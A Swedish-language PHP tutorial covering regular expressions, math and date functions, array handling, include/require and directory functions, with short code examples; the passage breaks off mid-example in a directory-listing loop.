Om man sätter ^ i början av en pattern säger man att det skall matchas från börkan av strängen.
"^kalle"
matchar "kalle" och "kalle anka" men inte "han hette kalle"
Sätter man $ i slutet säger man det skall matchas mot strängens slut
"kalle$"
matchar "han hette kalle" men inte "kalle anka"
Använder man en kombination så matchar man hela strängar
"^a.*a$"
Betyder att strängen måste börja med a och sluta med ett a
IP nummer är alltid uppbyggda som siffra.siffra.siffra.siffra , d.v.s fyra tal 0-255 med punkt mellan.
En möjlig kontroll blir då:
"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$"
vilket betyder:
Detta gör följande resultat
IP | Resultat |
123.123.123.123 | OK |
123.211.222 | Fel - en siffra för lite |
a123.123.123.123 | Fel - inte en siffra som första |
123.123.123.123aaa | Fel - inte en siffra som sista |
999.999.999.999 | OK enligt regexp - Helt fel i verkligheten |
En elpost adress har oftast förljande grundkonstruktion: namn@domain, t.ex. kalle@firma.fi
En enkel variant av kontroll kan då bli:
"^\w+@\w+\.\w+$"
Som betyder:
Denna kontroll kommer att matcha "kalle@firma.com" men inte t.ex. "kalle@firma" (ingen punkt), eller "kalle.com" (inget @). Tyvärr kommer den även at fallera med "fornamn.efternamn@avdelning.firma.fi"
För att få denna adress att funka måste kan vi skriva t.ex. följande
"^[\w\.]+@\w+\.[\w\.]+$"
Vilket betyder:
Ovanstående är inte helt perfekt. En bättre variant kanske kan vara:
"^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+@
[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.
[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$"
(Skall skrivas på en rad!)
Det finns egentligen två olika "skolor" för regular expressions:
Jag tänker bara ta upp de PERL-kompatibla funktionerna. Sök i PHP:s dokumentation eller på nätet om du vill veta mer om ereg mm.
Email exempel:
<?php
# en email - hårdkodad för exemlet
$texten = "Fornamn.efternamn@firma.vad.com";
# pattern för e-mail
# preg_* funktionerna i PHP kräver att
# strängen omsluts av / tecken
$pattern = "/^[\w\.]+@\w+\.[\w\.]+$/";
# parametrar:
# string pattern
# string texten
# array matches
if ( preg_match( $pattern, $texten, $matches ) )
{
echo "OK<br>";
foreach( $matches as $index=>$value)
{
echo "\$matches[" . $index ."] = ". $value ."<br>";
}
}
else
{
echo "FEL";
}
# samma som ovan men observera parenteserna
# och vad matches arrayen kommer att innehålla
$pattern = "/^([\w\.]+)@(\w+\.[\w\.]+)$/";
# parametrar:
# string pattern
# string texten
# array matches
if ( preg_match( $pattern, $texten, $matches ) )
{
echo "OK<br>";
foreach( $matches as $index=>$value)
{
echo "\$matches[" . $index ."] = ". $value ."<br>";
}
}
else
{
echo "FEL";
}
?>
Sökning i html kod
<?php
# extrakt ut html fil
# observera de överflödiga mellanslagen och stavningen
# av fOnt
$texten = "text < fOnt face=\"arial\" size=\"2\">Med arial</font> asdasd";
# sök efter < följt av eventuell "whitespace"
# sedan skall det stå font följt av lite vad som helst
# sedan skall det komma >
# följt av vad som helst
# Sedan <, eventuell "whitespace", /, font, eventuell whitespace >
# /i i slutet gör att jämförelsen är "case insensitive", d.v.s
# det är ingen skillnad på font och FONT
# observer att det som kommer i fint taggen har satts
# inom parentes Det som sätts inom parentes kommer att komma som
# en skild post i arrayen
$pattern1 = '/<\s*font.*>(.*)<\s*\/\s*font\s*>/i';
if ( preg_match( $pattern1, $texten, $matches ) )
{
echo "OK<br>";
foreach( $matches as $index=>$value)
{
echo "\$matches[" . $index ."] = ". htmlentities( $value) ."<br>";
}
}
else
{
echo "FEL";
}
?>
Mer acancerad sökning i html-kod
<?php
$filen = file("./samples/demo.htm");
# kommer som en array - så jag föser ihop den
$filen = implode($filen, "");
echo "./samples/demo.htm och dess innehåll<br><br>";
echo nl2br(htmlentities($filen)) . "<br>";
$titeln = "/<\s*title\s*>([^<]*)<\s*\/s*title\s*>/i";
if ( preg_match( $titeln, $filen, $matches ) )
{
echo "<br>Sidans titel var :<br><b>" . $matches[1] . "</b><br>";
echo "Denna hittades med :<br><b>" . $titeln . "</b><br>";
}
$body = "/<\s*body\s*>\s*([\w\W]*)\s*<\s*\/s*body\s*>/i";
if ( preg_match( $body, $filen, $matches ) )
{
echo "<br>Sidans innehåll var:<br><b>" .
nl2br(htmlentities($matches[1])) . "</b><br>";
echo "Denna hittades med:<br><b>" . $body . "</b><br>";
}
?>
Söker fram alla förekomster. För övrigt som preg_match
<?php
$realFile = "http://" .
$_SERVER["SERVER_NAME"] .
dirname($_SERVER["SCRIPT_NAME"]) .
"/samples/demo.htm";
$filen = file($realFile) Or Die("kunde inte öppna filen");
# kommer som en array - så jag föser ihop den
$filen = implode($filen, "");
echo $realFile . " och dess länkar<br><br>";
$hrefs = '/<a\s*href="(.*)">(.*)<\s*\/s*a\s*>/i';
if ( preg_match_all( $hrefs, $filen, $matches ) )
{
# får en tvådimensionell array
for ($i=0; $i< count($matches[0]); $i++)
{
echo "<br>En länk var : <br><b>" .
htmlentities($matches[0][$i]) . "</b><br>";
echo "Med href : <br><b>" . $matches[1][$i] . "</b><br>";
echo "och förklaring :<br><b>" . $matches[2][$i] . "</b><br>";
}
}
?>
<?php
# variant 1 - enkelt (?) byte
# ---------------------------------------
$amerikansktDatum = "2/31/2002";
# sök 2 siffror följt av en /, . eller -
# sök 2 siffror igen följt av en /, . eller -
# sök 19 eller 20 följt av två siffror
# sätt varje siffra inom parentes så att
# vi får separata matches
$sök = "/^(\d{1,2})[\/.-](\d{1,2})[\/.-](19|20\d{2})$/";
# sätt in andra siffran, en punkt, första siffran
# en punkt och slutligen sista siffran
$ersätt = "\\2.\\1.\\3";
# utför
$finsktDatum = preg_replace($sök, $ersätt, $amerikansktDatum);
echo "\$amerikansktDatum = $amerikansktDatum <br>";
echo "\$finsktDatum = $finsktDatum <br>";
# prova ett annat datim
$amerikansktDatum = "2.31-2002";
$finsktDatum = preg_replace($sök, $ersätt, $amerikansktDatum);
echo "\$amerikansktDatum = $amerikansktDatum <br>";
echo "\$finsktDatum = $finsktDatum <br>";
# variant 2 - array
# ---------------------------------------
$texten = "kålle och ada är ute och går i skogen";
# en array med regexp sökningar - hela ord (\b)
$enkel = array("/\bkålle\b/", "/\bada\b/", "/\bgår\b/", "/\bskogen\b/");
# en array med lika många ersättande ord
$märkvärdig = array("Charles", "Adelia", "spatserar", "parken");
# erätt alla
echo preg_replace($enkel, $märkvärdig, $texten);
# strippa all extra whitespace
$text = " en massa \t extra \n space";
echo "<pre>";
echo $text . "<br>";
# strippa all extra whitespace - ersätt med enskilda mellanslag
echo preg_replace("/\s+/", " ", $text) . "<br>";
echo "</pre>";
# se PHP dokumentationen för fler exempel
?>
en massa extra space
en massa extra space
Ett tips i all välmening: Lär er Regexp. Det finns mycket "muskler" i dessa.
De funktioner som tas upp på dessa sidor är endast ett litet urval av alla funktioner som PHP har. För mer information så hänvisar jag till någon bra PHP bok och PHP:s dokumentation.
Förutom "normala" stränghanteringsfunktioner så har PHP även inbyggda funktioner för såväl kryptering som specialkodning av data för t.ex. mailsystem.
Jag har dock valt att inte ta upp dem på dessa sidor. För mer information så tar du en titt på t.ex. crypt funktionen i PHP:s dokumentation.
double xxx(double tal) betyder att funktionen vill ha ett decimaltal (heltal duger) och returnerar ett decimaltal
Avrunda uppåt till närmaste större heltal.
<?php
$siffra1 = 3.01;
$siffra2 = 9.9999;
$siffra3 = -1.9999;
echo "\$siffra1 = $siffra1 och ceil(\$siffra1) = " . ceil($siffra1) . "<br>";
echo "\$siffra2 = $siffra2 och ceil(\$siffra2) = " . ceil($siffra2) . "<br>";
echo "\$siffra3 = $siffra3 och ceil(\$siffra3) = " . ceil($siffra3) . "<br>";
?>
Avrunda neråt till närmaste mindre heltal.
<?php
$siffra1 = 3.01;
$siffra2 = 9.9999;
$siffra3 = -1.9999;
echo "\$siffra1 = $siffra1 och floor(\$siffra1) = " . floor($siffra1) . "<br>";
echo "\$siffra2 = $siffra2 och floor(\$siffra2) = " . floor($siffra2) . "<br>";
echo "\$siffra3 = $siffra3 och floor(\$siffra3) = " . floor($siffra3) . "<br>";
?>
Avrundning till närmaste heltal enligt normala avrundningsregler. Se koden nedan:
<?php
echo round( 4.5 ) . "<br>";
echo round( 4.3 ) . "<br>";
echo round( 4.6 ) . "<br>";
echo round( 3.5 ) . "<br>";
echo round( 4.5 ) . "<br>";
# vill du ha ett visst antal decimaler kan du
# göra följande
function myRound( $tal, $decimaler=2 /* 2 som default */)
{
$bas = pow( 10,$decimaler );
return round( $tal * $bas) / $bas;
}
echo myRound( 4.5111, 3 ) . "<br>"; # tre decimaler
echo myRound( 4.5383, 2 ) . "<br>"; # två decimaler
echo myRound( 42.18727 ) . "<br>"; # default (2) decimaler
?>
Formatering av nummer
<?php
$siffran = 123983.387229;
# default format = komma som tusenavdelare
# och inga decimaler
# OBS! Returnerar en sträng
echo number_format( $siffran ) . "<br>";
# 2 decimaler
echo number_format( $siffran, 2 ) . "<br>";
# 4 decimaler . som tusenavdelare och , som decimaltecken
echo number_format( $siffran, 4, ",", "." ) . "<br>";
# 2 decimaler mellanslag som tusenavdelare och , som decimaltecken
echo number_format( $siffran, 2, ",", " " ) . "<br>";
?>
Konvertera mellan olika talsystem. Resultatet blir en sträng
<?php
# konvertera "FE" från Hex till decimal
echo base_convert( "FE", 16, 10 ) . "<br>";
# konvertera 232 från Decimal till Hex
echo base_convert( 232, 10, 16 ) . "<br>";
# konvertera 142 från Decimal till Oktal
echo base_convert( 142, 10, 8 ) . "<br>";
# konvertera 261 från Decimal till Binär
echo base_convert( 261, 10, 2 ) . "<br>";
# konvertera 00100101 från Binär till Decimal
echo base_convert( "00100101", 2, 10 ) . "<br>";
?>
binär till decimal
<?php
# konvertera från binär till decimal
echo bindec("01010101010101010100") . "<br>";
?>
decimal till binär
<?php
# konvertera från decimal till annan typ
echo decbin(18226) . "<br>";
echo dechex(18226) . "<br>";
echo decoct(18226) . "<br>";
?>
hexadecimal till decimal
<?php
# konvertera från hex till decimal
echo hexdec("FEFEFE") . "<br>";
?>
Från oktalt talsystem till decimalt
<?php
# konvertera från oktal till decimal
echo octdec("728") . "<br>";
?>
Slumptal enligt "normal" algoritm
<?php
# ge algoritmen en seed
srand ( time() );
# ett slumptal mellan 30 och 100
echo "Ett slumpmässigt tal : " . rand(30, 100);
echo "<br><br>Det största slumptalet som kan visas är:<br>";
echo getrandmax();
?>
Slumptal enligt Mersenne Twister algoritmen
<?php
# ge algoritmen en seed
mt_srand ( time() );
# ett slumptal mellan 1 och 31
echo "Ett slumpmässigt tal : " . mt_rand(1, 31);
echo "<br><br>Det största slumptalet som kan visas är:<br>";
echo mt_getrandmax();
?>
Slumptal mellan 0 och 1 enligt linear congruence algoritmen
<?php
echo "Ett slumpmässigt tal : " . lcg_value();
?>
Oftast fungerar det bra med vanliga integers och doubles, men ibland kan det bli problem. Hur räknar man t.ex. 100100000? Till verkligt stora tal måste man ta till s.k. Binary Coded Decimals (BCD). I Windows är BCD installerat i standardinstallationen av PHP, men i t.ex. Linux kanske man måste kompilera PHP med -enable-bcmath
Med hjälp av phpinfo() kan man se om BCD är aktiverat eller ej.
Alla BCD funktioner i PHP
<?php
# alla bc funktioner har en sista valbar parameter som anger
# antalet decimaler
# om man inte vill ange antal decimaler hela tiden
# kan man sätta defaulten till ett tal och sedan lämna
# bort antalet decimaler
# Nedanstående rad sätter decimalernas antal till 5
bcscale(5);
# bcadd - addition
#----------------------------------------------
# tal1, tal2, antal decimaler
# addera och visa 10 decimaler
echo bcadd("1.433733837338", "19808980889", 10). "<br>";
# samma sak fast med 2 decimaler
echo bcadd("1.433733837338", "198987", 2). "<br>";
# anger man inte antal decimaler används det tal som
# sattes med bcscale funktionen
echo bcadd("1.433733837338", "198987"). "<br>";
# bcsub - subtraktion
#----------------------------------------------
echo bcsub("1.433733837338", "198987"). "<br>";
# bcmul - multiplikation
#----------------------------------------------
echo bcmul("1.433733837338", "198987"). "<br>";
# bcdiv - division
#----------------------------------------------
echo bcdiv("1.433733837338", "198987"). "<br>";
# bcmod - modulus
#----------------------------------------------
echo bcmod("1991280391823091", "2"). "<br>";
# bcpow - power (upphöjt med)
#----------------------------------------------
$res = bcpow("22", "154"). "<br>";
#blir så stor tal att jag måste splitta upp det i flera rader
echo chunk_split($res, 62, "<br>");
# bcsqrt - kvardarroten
#----------------------------------------------
echo bcsqrt("10011231391827391"). "<br>";
# bccomp - jämförelse
#----------------------------------------------
# följande ger 0 (true) efterom siffrorna är lika
# i de 4 första decimalerna
echo bccomp("8.2123123123", "8.2123123188", 4). "<br>";
# följande ger -1 (false) efterom siffrorna är lika
# i de 4 första decimalerna
echo bccomp("8.1123123123", "8.2123123188", 4). "<br>";
# ett till exempel - använder default antal decimaler
echo bccomp("8.1123123123", "8.2123123188"). "<br>";
?>
Se mer i manualen: sidan om datetime
Normala tider antas vara efter 1 januari 1970.
Funktionen date kan användas för att antingen få nuvarade tid formaterat som man vill, eller skapa ett datum. För skapande av datum används oftast mktime, se nedan. Man använder koder för att få in de olika delarna i en tid /datum.
<?php
# alla format för tid
$format["a"] = "am eller pm";
$format["A"] = "AM eller PM";
$format["B"] = "Swatch Internet time";
$format["d"] = "Dag i månaden, 2 siffror med 0-utfyllnad: 01 - 31";
$format["D"] = "Engelsk förkortning av veckodagen";
$format["F"] = "Engelskt namn på månaden";
$format["g"] = "Timme 12-timmars format utan 0-utfylldnad: 1 - 12";
$format["G"] = "Timme 24-timmars format utan 0-utfylldnad: 0 - 23";
$format["h"] = "Timme 12-timmars format med 0-utfylldnad: 01 - 12";
$format["H"] = "Timme 24-timmars format med 0-utfylldnad: 00 - 23";
$format["i"] = "Minuter: 00- 59";
$format["I"] = "(stora i) 1 om sommartid, 0 annars";
$format["j"] = "Dag i månaden, 2 siffror utan 0-utfyllnad: 1 - 31";
$format["l"] = "(Lilla L) Veckodagens (Engelska) namn";
$format["L"] = "1 om skottår, 0 annars";
$format["m"] = "Månadens nummer med 0-utfyllnad: 01 - 12";
$format["M"] = "Månadens (engelsk) förkortning";
$format["n"] = "Månadens nummer utan 0-utfyllnad: 1 - 12";
$format["O"] = "Skillnaden från Greenwich tid i timmar +0200
(- är västerut + är österut)";
$format["r"] = "RFC 822 formatterat datum:
\"Thu, 21 Dec 2000 16:01:07 +0200\" PHP 4.0.4 =>";
$format["s"] = "Sekunder 00 - 59";
$format["S"] = "Engelskt suffix, 2 tecken: th, nd, rd";
$format["t"] = "Amtal dagar i aktuell månad: 28 - 31";
$format["T"] = "Tidszon inställning. t.ex.MDT";
$format["U"] = "Sekunder sedan epoken (?)";
$format["w"] = "Veckodag 0 = Söndag - 6 Lördag";
$format["W"] = "ISO-8601 wekckonummer PHP 4.1.0 =>";
$format["Y"] = "År med 4 siffror: 2002";
$format["y"] = "År med 2 siffror: 02";
$format["z"] = "Dag i året: 0 - 365";
$format["Z"] = "Sekunder från UTC (Greenwich): -43200 - 43200
(- är västerut + är österut)";
echo "<dl>";
foreach ($format as $tecken=>$betydelse)
{
echo "<dt><br>date(\"" .$tecken . "\") = " . date($tecken) ;
echo "<dd>" . nl2br($betydelse) ;
}
echo "</dl>";
?>
Om man vill få in något av de reserverade tecknen och inte vill att detta skall tolkas så måste man sätta \ före. Om tecknet har en allmän betydelse i PHP, t.ex. \n (radbyte) måste man sätta \\n. Tex:
date("\\t\i\d: h:i:s"); ger tid: 11:17:22
<?php
# Parametrarna är
# timme
# minut
# sekund
# månad
# dag
# år
$tid = mktime(22, 12, 12, 10, 21, 2002 );
echo $tid . "<br>";
echo date("j.n.Y h:i:s", $tid ) . "<br>";
# är man inte intresserad av t.ex timmar kan man sätta 0
$tid = mktime(0, 0, 0, 7, 11, 2002 );
echo date("j.n.Y", $tid ) . "<br>";
# om en siffra är för stor sker en automatisk och korrekt omvandling
# 11.13.2002 blir således 11.1.2003
$tid = mktime(0, 0, 0, 13, 11, 2002 );
echo date("j.n.Y", $tid ) . "<br>";
# idag + 3 månder och 2 dar
$tid = mktime(0, 0, 0, date("n") + 3, date("j") + 2 , date("Y") );
echo date("j.n.Y", $tid ) . "<br>";
?>
Se även php dokumentationen om arrays i array
Skapar en array
<?php
# en "enkel" array
$namnen = array("kalle", "ville", "ida");
foreach ($namnen as $index=>$namn)
{
echo "$index => $namn<br>";
}
# en associative array
$anställda = array( "guru"=>"kalle" ,
"nybörjare"=>"ville" ,
"programmerare"=>"ida" );
foreach ($anställda as $position=>$namn)
{
echo "$position => $namn<br>";
}
# anger man bara startvärdet fortsätter PHP att
# räknauppåt från det
$poäng = array(100=>"Kalle", "ville", "ida");
foreach ($poäng as $index=>$namn)
{
echo "$index => $namn<br>";
}
# observera att ovanstående även kan skrivas som:
$namnen[] = "kalle";
$namnen[] = "ville";
$namnen[] = "ida";
$anställda["guru"] = "kalle";
$anställda["nybörjare"] = "ville";
$anställda["programmerare"] = "ida";
$poäng[100] = "Kalle";
$poäng[] = "ville";
$poäng[] = "ida";
?>
Det finns några vanliga saker man ofta vill göra med arrays, bl.a. räkna antalet.
Nedan visas exempel på:
<?php
# skapar en (simpel) array
$personer[] = "anders";
$personer[] = "eva";
$personer[] = "fredrik";
$personer[] = "jonas";
# antalet i arrayen - count()
echo "\$personer innehåller " . count($personer) . "st. rader<br />";
# största värdet - max()
echo "Störst är " . max($personer) . "<br />";
# största värdet - min()
echo "Minst är " . min($personer) . "<br />";
# loopning med foreach - utan index
echo "<b>foreach</b><br />";
foreach( $personer as $person )
echo $person . "<br />";
# loopning med foreach - med index
echo "<b>foreach - med index</b><br />";
foreach( $personer as $index=>$person )
echo $index . " " . $person . "<br />";
# alternativ lösning - förutsätter index som
# går från 0 och uppåt
echo "<b>klassisk for</b><br />";
for ($I = 0; $I < count( $personer); $I++ )
echo $I . " " . $personer[ $I ] . "<br />";
# ytterligare ett alternativ till loop
echo "<b>reset - current - next</b><br />";
for ( reset( $personer ); $nuvarande=current( $personer ); next ( $personer ) )
echo $nuvarande . "<br />";
# "spola tillbaka till början"
reset( $personer );
# ytterligare ett alternativ till loop
echo "<b>list - each</b><br />";
while ( list( $index, $namn ) = each( $personer ) )
echo $index . " " . $namn . "<br />";
# man kan även använda array_walk
# andra parametern är namnet på den funktione
# som skall göra nåt med datat
echo "<b>array_walk</b><br />";
array_walk ( $personer , "visaFunktionen" );
function visaFunktionen ( $elementet )
{
echo $elementet . "<br />";
}
?>
Räknar förekomsten av olika värden i arrayen. OBS! räknar inte antalet totalt, utan de olika frekvenserna. Resultatet blir en array. Se exemplet nedan:
<?php
srand ( time() );
# kastar krona eller klave 213 gånger
for($i = 0; $i < 213; $i++)
{
$kast[] = rand(0,1) == 0 ? "krona" : "klave";
}
# kollar hur många krona och klave det finns
$antalen = array_count_values( $kast );
foreach( $antalen as $vilken=>$antal )
{
# visa värdet,antalet och som procent
echo "$vilken : $antal gånger (";
echo number_format( $antal / count( $kast ) * 100 , 2) ;
echo "%)<br>";
}
?>
Kastar om index och värden i en array
<?php
$anställda["guru"] = "kalle";
$anställda["nybörjare"] = "ville";
$anställda["programmerare"] = "ida";
echo "<pre>";
# inbyggd funktion för att visa en array
# mest tänkt för avlusning
print_r($anställda);
# flippar
$anställda = array_flip($anställda);
print_r($anställda);
echo "</pre>";
?>
Array ( [guru] => kalle [nybörjare] => ville [programmerare] => ida ) Array ( [kalle] => guru [ville] => nybörjare [ida] => programmerare )
<?php
$anställda["guru"] = "kalle";
$anställda["nybörjare"] = "ville";
$anställda["programmerare"] = "ida";
$anställda["boss"] = "ida";
# array_keys tar bara indexet
$indexen = array_keys( $anställda );
foreach( $indexen as $vem )
{
echo $vem . " ";
}
echo "<br>";
# om man anger ett värde till som parameter
# till array_keys kommer endast de rader som har
# ett sådantvärde att visas
$indexen = array_keys( $anställda, "ida" );
foreach( $indexen as $vem )
{
echo $vem . " ";
}
echo "<br>";
# array_values gör tvärtom
$värdena = array_values( $anställda );
foreach( $värdena as $vad )
{
echo $vad . " ";
}
?>
<?php
$finaFärger = array ("röd", "grön", "gul");
$fulaFärger = array ("brun", "lila");
$mellanFärger = array("grå", "vit", "svart");
# skall ha två eller flera arrays som parameter
$allaFärger = array_merge( $finaFärger, $fulaFärger,$mellanFärger );
foreach( $allaFärger as $färg )
{
echo "$färg ";
}
?>
Det finns en mängd olika metoder att sortera
arrays på. Se mer i array .
Vi kommer oss dock rätt långt med asort,
arsort, ksort,
krsort, uasort
och uksort.
Se nedan för exempel:
<?php
# skapar en array
$personer["anders"] = "nerd";
$personer["ville"] = "guru";
$personer["kalle"] = "dum";
$personer["adam"] = "son";
$personer["kain"] = "elak";
echo "sorterar med <b>asort</b> a-ö enligt värdet<br />";
asort( $personer );
visa ( $personer );
echo "sorterar med <b>arsort</b> ö-a enligt värdet<br />";
arsort( $personer );
visa ( $personer );
echo "sorterar med <b>ksort</b> a-ö enligt index<br />";
ksort( $personer );
visa ( $personer );
echo "sorterar med <b>ksort</b> ö-a enligt index<br />";
krsort( $personer );
visa ( $personer );
echo "sorterar med <b>uasort</b> egen sortering index<br />";
# andra parametern är namnet på den funktion som skall utföra
# jämförelsen.
uasort( $personer , "myAsortCompare" );
visa ( $personer );
echo "sorterar med <b>uksort</b> egen sortering index<br />";
# andra parametern är namnet på den funktion som skall utföra
# jämförelsen.
uksort( $personer , "myKsortCompare" );
visa ( $personer );
function visa( $arrayen )
{
if (is_array( $arrayen ))
{
echo "<table>";
echo "<tr><td><b>key</b></td><td><b>value</b></td></tr>\n";
foreach( $arrayen as $key=>$value)
{
echo "<tr><td>$key</td><td>$value</td></tr>";
}
echo "</table><br />";
}
else
{
echo "Inge array<br />";
}
}
# egen funktion för uksort
# sätter alltid anders först
# allt annat sorteras som normalt
# den skall returnera:
# -1 om det första värdet i jämförelsen skall komma före det andra
# 0 om de är lika
# 1 om det andra värdet skall komma före det första
function myKsortCompare( $left, $right )
{
# on första var "anders" säg att det är först
if ($left == "anders")
{
return -1;
}
# on andra var "anders" säg att det är först
elseif ($right == "anders")
{
return 1;
}
# gör en vanlig strängjämförelse (inte case-sensitive)
else
{
return strcasecmp( $left, $right );
}
}
# som ovan men sätter guru först
function myAsortCompare( $left, $right )
{
# on första var "guru" säg att det är först
if ($left == "guru")
{
return -1;
}
# on andra var "guru" säg att det är först
elseif ($right == "guru")
{
return 1;
}
# gör en vanlig strängjämförelse (inte case-sensitive)
else
{
return strcasecmp( $left, $right );
}
}
?>
En stack är en array där man alltid sätter in värden i början av arrayen och tar bort från början av arrayen. Iblan brukar dessa kallas LIFO (Last In, First Out).
En kö fungererar som en stack men som FIFO (First In, First Out). Ni kan inte slå upp en bok om datastrukturer utan att stöta på / behöva dessa. Nedan visas några exempel på :
<?php
# skapa en tom array
$test = array();
# sätt dit tre värden - alla värden sätts in
# i början av arrayen
array_unshift( $test, "första" );
array_unshift( $test, "andra" );
array_unshift( $test, "tredje" );
# man kan även sätta dit flera än en
array_unshift( $test, "fjärde", "femte" );
visaArrayen($test);
echo "Tar bort första värdet och visar det <b>";
echo array_shift( $test );
echo "</b><br />";
visaArrayen($test);
# sätter in ett nytt värde i slutet
array_push( $test, "i slutet" , "mer i slutet");
array_push( $test, "mest i slutet" );
visaArrayen($test);
echo "Tar bort sista värdet och visar det <b>";
echo array_pop( $test );
echo "</b><br />";
visaArrayen($test);
echo "Tar bort andra värdet ";
# tag bort en post i mitten
# unset dödar en variable men fungerar även på arrayelement
unset($test[1]);
# visa arrayen i fysik ordning
function visaArrayen( $en_array )
{
echo "<br />Tabellens nuvarande utseende<br />";
echo "<table border=\"1\"><tr>";
foreach( $en_array as $värdet )
echo "<td>$värdet</td>";
echo "</tr></table>";
}
?>
fjärde | femte | tredje | andra | första |
femte | tredje | andra | första |
femte | tredje | andra | första | i slutet | mer i slutet | mest i slutet |
femte | tredje | andra | första | i slutet | mer i slutet |
Det finns några olika metoder att konvertera arrays till strängar och vice versa.
Nedan visas exempel på:
Se mer i array
<?php
# en sträng med tabulatorer i (\t = tabb)
$sträng = "Första\tAndra\tTredje\tFjärde";
#skapa en array av strängen - använd tabbarna som avdelare
$allaSträngar = explode( "\t", $sträng );
echo "Loopar genom arrayen som skapades av strängen<br />";
foreach ( $allaSträngar as $enSträng )
echo $enSträng . "<br />";
# motsaten till explode heter implode - omvandlar en array
# till en sträng
# andra parametern anger vilken avdelare som skall sättas
# obserera att ordningsförljden på parametrarna är olika
# i implode och explode
$somSträng = implode ( $allaSträngar, ",");
echo "<br />Arrayen konverterad till en sträng<br />";
echo $somSträng . "<br />";
# en annan sak man kan göra är att använda serialize
# denna funktion skapa en sträng av arrayen
# men till skillnad från implode så bibehålls
# all information om arrayen
# detta gör att man kan spara en komplett array i en fil
# eller ett databasfält
$test = serialize( $allaSträngar );
echo "<br />Arrayen konverterad till en sträng med serialize<br />";
echo $test . "<br />";
# för att återfå arrayen så använder man unserialize
$frånSerialize = unserialize( $test );
echo "<br />Strängen konverterad tillbaka till en array med unserialize<br />";
foreach ( $frånSerialize as $enSträng )
echo $enSträng . "<br />";
# om jag vet hur många det finns i en array kan jag skapa
# enskilda variabler av dessa med list
# observera att list skall vara till vänster om =
# det är inte en funktion utan en konstruktion i PHP
list($ett,$två, $tre, $fyra) = $frånSerialize ;
echo "<br />Efter användning av list<br />";
echo $två . "<br />";
?>
Filhanteringen i PHP kan delas upp i tre distinkta delar:
För att inte behöva skriva samma kod flera gånger, och för att kunna återanvända kod så har PHP några kodspecifika metoder:
Se även: include
Include tar och sätter in och kör programkoden i en fil. Nedan är en liten simpel fil som bara skriver "Hello world"
<?php
echo "Hello World";
?>
Denna kan sedan inkluderas i en annan fil
<?php
include("./samples/s111.php");
echo "<br />";
include("./samples/s111.php");
echo "<br />";
include("./samples/s111.php");
?>
Det är dock sällan så god idé att låta den inkluderade filen skriva ut någonting. Inkluderingsfilerna skall helst innehålla funktioner. Detta gör dem mer användbara, och koden blir mer modulär. Se nedanstående exempel:
<?php
function HelloWorld()
{
return "Hello World";
}
?>
<?php
include("./samples/s113.php");
echo HelloWorld();
echo "<br />";
echo HelloWorld();
echo "<br />";
echo HelloWorld();
?>
Det kan dock förekomma att man råkar inkludera samma fil på flera ställen. Detta kommer att ge ett felmeddelanden:
<?php
include("s113.php");
include("s113.php");
echo HelloWorld();
echo "<br />";
echo HelloWorld();
echo "<br />";
echo HelloWorld();
?>
Include_once fungerar precis som include, men om man råkar inkludera filen flera gånger kommer den ändå att bara inklueras en gång. Se nedan:
<?php
include_once("s111.php");
echo "<br />";
include_once("s111.php");
echo "<br />";
include_once("s111.php");
?>
Om man har funktionsbibliotek som inkluderas så skall man således använda include_once och inte include.
Require fungerar lite som include men medan include går att programmera, t.ex. med if, kommer require alltid att utföras. Se nedanstående exempel
<?php
function HelloAgain()
{
return "Hello World";
}
?>
Ovanstående fil sätts in med require:
<?php
if (false)
{
# denna kommer aldrig att bli inkluderad
include("./samples/s113.php");
}
echo "<br />";
if (false)
{
# denna kommer att bli inkluderad
# fast vi egentligen aldrig borde komma hit
require("./samples/s118.php");
}
# denna funktion fanns i s118.php
echo HelloAgain();
?>
Denna fungerar som require, men kommer endast att utföras en gång. Se include_once.
I php.ini finns det en rad include_path.
Om den är satt till:
För UNIX
include_path = ".:/php/includes"
För Windows
include_path = ".;c:\php\includes"
Kommer inkluderingsfiler i första hand att sökas i nuvarande katalog och i andra hand i den eller de katalog som som anges med : (Unix) eller ; (WIN) mellan. Anger man pathen för en include fil, t.ex. ./samples/s111.php, så antas samples katalogen finnas unde den nuvarande katalogen.
Detta kan ibland ställa till problem. Mest specifikt är problemet om vi har en fil som inkluderar en annan fil och denna i sin tur inkluderar en tredje:
filen.php
inkluderar
./samples/inkluderad.php
som i sin tur inkluderar
entill.php
som finns i samma katalog som inkluderad.php. Vilken är nuvarande katalog för inkluderad.php? Det är inte samples katalogen för filen.php har inkluderat den, och filen.php finns inte i samples. inkluderad-php skulle då behöva inkludera ./samples/entill.php, fast den är i samma katalog. Detta gör livet lite mer invecklat.
En lösning som fungerar är följande
<?php
# säkerställ att entill altid antas vara i samma
# katalog som inkludera.php (denna fil)
include_once( dirname( __FILE__ ) . "/entill.php" );
?>
Returnerar tid och datum när PHP filen senast var modifierad. Se exempel:
<?php
echo "Filen blev modifierad : " . date("d.m.Y h:i:s", getlastmod());
?>
Används för att visa phpkoden formaterad. Det finns några ini inställningar som påverkar Se ./inc/settings.php.
<?php
show_source("./samples/s120.php");
?>
<?php
echo "Filen blev modifierad : " . date("d.m.Y h:i:s", getlastmod());
?>
PHP har fullfjädrade funktioner för hantering av filer och kataloger. Avgörande för vad du får och inte får göra är mest operativsystemets begränsningar
chdir används för att byta aktuell katalog. När ett PHP skript startas antas aktuell katalog alltid vara densamma som den php-filen finns i.
<?php
$curdir = getcwd();
echo $curdir . "<br />";
chdir("..");
echo getcwd() . "<br />";
# byt tillbaka
chdir( $curdir );
echo getcwd() . "<br />";
?>
Aktuell katalog. Se ovanstånde exempel.
mkdir skapar en katalog. Den andra parametern anger mode (se beskriningen för chmod). rmdir tar bort katalogen. Se exemplet nedan:
<?php
# skapa katalogen
mkdir("test", 0777);
# byt till den
chdir("test");
# visa nuvarande katalog
echo getcwd() . "<br />";
# byt tillbaka
chdir("..");
# tag bort katalogen
rmdir("test");
?>
Används för kataloglistningar
<?php
# öppna katalogen
$incDir = opendir("inc");
# kolla verkliga katalogen för inc under nuvarande
$path = realpath("inc");
# loopa genom den
while ($filNamn = readdir ( $incDir ) )
{
# sätter kataloger röda och filer gröna
# måste skarva ihop en verklig path
# observera att / skall användas mellan
# \ fungerar bara i windows
# / fungerar överallt
if ( is_dir ( $path . "/" . $filNamn ) )
{
echo "<font color=\"red\">";
}
else
{
echo "<font color=\"green\">";
}
echo $filNamn;
